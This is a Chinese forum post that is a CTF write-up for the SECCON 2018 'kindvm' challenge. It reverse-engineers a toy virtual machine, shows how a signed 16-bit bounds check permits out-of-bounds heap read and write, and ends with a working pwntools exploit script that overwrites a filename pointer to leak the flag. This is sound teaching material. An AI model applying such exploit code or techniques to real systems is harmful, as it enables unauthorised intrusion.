首页
社区
课程
招聘
[原创]SECCON 2018 kindvm writeup
2018-10-28 23:31 12630

[原创]SECCON 2018 kindvm writeup

2018-10-28 23:31
12630

这周末熬夜肝了一波SECCON CTF ,做出来一道kindvm,这道题基本上可以说是一道vm的入门题目。个人感觉seccon ctf还是质量很高的,有脑洞题,也有正经的漏洞利用,包括kernel iot 都有,国外的比赛认真打能学到很多东西。虽然我们只得了64名,还需要继续积累吧

 

首先来看main函数中kindvm_setup 初始化函数中的全局变量。这个vm是32位架构的。
图片描述

 

第一个变量 kc,组织结构是这样的:

kc[0] = 0;
kc[1] = 0;
kc[2] = intput_username();
kc[3] = "banner.txt";
kc[4] = func_greeting;
kc[5] = func_farewell;

kc[2]的位置是input_username()的返回值,来看input_username(),malloc了一块0x10的堆空间,将name存储在这里。好像存在一个栈溢出,但是想想就知道不可能这么简单,看汇编代码果然发现了有cannary的验证。无法利用栈溢出。
图片描述

 

之后定义了一个mem变量,malloc了0x400堆上地址。这个mem是用来存储数据的,功能基本上是一个简单的栈。

 

还有一个reg变量,功能类似于寄存器。也是一个0x400的堆上数据。

 

最后是一个指令表函数func_table

 

初始化之后,进入input_insn()函数,这个函数是用来输入指令的,指令变量存储在insn中,是一个存储在堆上的0x400的一维数组。

 

之后再去执行kc[4],也就是func_greeting(),打开kc[3]位置的文件并输出。因此只要输出flag.txt就能得到flag,所以,我们需要找到一个方法任意写,修改掉banner.txt。

 

图片描述

 

因此我们需要找到一个地址,去存放flag.txt,我们可以看到,kc是在堆上的,而且kc[2]上存放的正好就是我们可以控制的name变量地址。但是我们可以控制的地址只有mem和寄存器变量reg,因此,我们需要再找一个方法实现任意写和任意读写。

指令的解析和执行

之后我们再看main函数,kc[1]是一个判断用的变量,初始化是0,变成1退出。之后回执行exec_insn(),这个函数会根据insn,也就是我们输入的指令去执行相应的指令函数。

 

图片描述
图片描述

 

kindvm定义了一系列函数用于从insn中读取指令数据,分别读8 16 32位。
我们可以看到step()来作为insn的索引值。

 

图片描述

 

step函数:将kc[0]的值返回作为insn指令的索引值,并且递增1。
图片描述

 

因此isns和kc[0]相配合即实现了对指令的解析。

 

exec中我们先读出8位给v1变量,作为func_table的索引,去执行相应的指令函数。

 

图片描述

任意读和任意写

指令insn_load和指令insn_store,分别用来将reg寄存器数组写入mem堆变量中和讲mem写入相应的reg寄存器中。在其中从insn中分别读出一个8位和16位的指令值v2和v3,分别作为reg的索引和mem的偏移。

 

但是我们可以看到v3的值是一个__int16 v3,有符号的16位整型,因此在
if ( v3 > 1020 )
这个mem溢出的检查中,也是有符号的检查,因此只要将v3变量设置成负数,即可实现对堆上mem之前的地址的读到寄存器变量reg中。实现了任意读。
图片描述
insn_store则从reg变量中将相应的寄存器变量写入堆中,通过传入负数实现任意写。
图片描述
而根据我们之前的分析kc全局数组也存储在堆上,并且就在mem之前。因此我们只需要通过构造指令,使v3变成负数,即可实现漏洞的利用。现在看具体的调试信息:

 

图片描述
如果要本地调试的话,我们需要先创建对应的hint1.txt hint2.txt hint3.txt banner.txy flag.txt。

 

看堆上的信息,因为之前的初始化中,将mem的值全部初始化成0x41,因此我们找到mem的位置在堆上偏移为0x38.

 

kc的位置在堆上的偏移为0x8,0x10 也就是kc[2]存储了name变量,也就是"flag.txt","banner.txt"存储在偏移0x14的位置。至此,我们已经有了所有需要的东西。

总体的流程梳理

1.首先调用insn_load,将0xffd8偏移处的地址也就是name变量的地址读入reg0中。
2.将insn_store 将reg0的值写入0xffdc也就是"banner.txt"处,覆盖地址。
3.调用insn_halt将kc[1]设置成1,进入正常的退出流程,再次输入banner.txt,因为地址已经被改为了flag.txt的地址,所以会直接输出flag。

##kendvm.py
感觉这题逆向的成分更多,只要能够读懂指令的执行方式,找到漏洞点,剩下的利用方式并没有利用到太多ptmalloc的知识。

from pwn import *

#p = process('./kindvm')
p = remote('kindvm.pwn.seccon.jp', 12345)

def insn(instruction):
    p.recvuntil('Input instruction : ')
    p.sendline(str(instruction))

#raw_input('')
p.recvuntil('Input your name : ')
p.sendline('flag.txt')

ins = p8(1)+p8(0)+p8(0xff)+p8(0xd8)
ins += p8(0x08)+p8(0)
ins += p8(2)+p8(0xff)+p8(0xdc)+p8(0)
ins += p8(0x08)+p8(0)
ins += p8(6)

raw_input('')
insn(ins)
p.interactive()

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2018-10-28 23:32 被obfuscation编辑 ,原因:
上传的附件:
收藏
点赞1
打赏
分享
最新回复 (2)
雪    币: 81
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zhengsidie 2018-10-29 10:07
2
0
不错
雪    币:
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zoniony 2019-4-23 11:26
3
0
学习了
游客
登录 | 注册 方可回帖
返回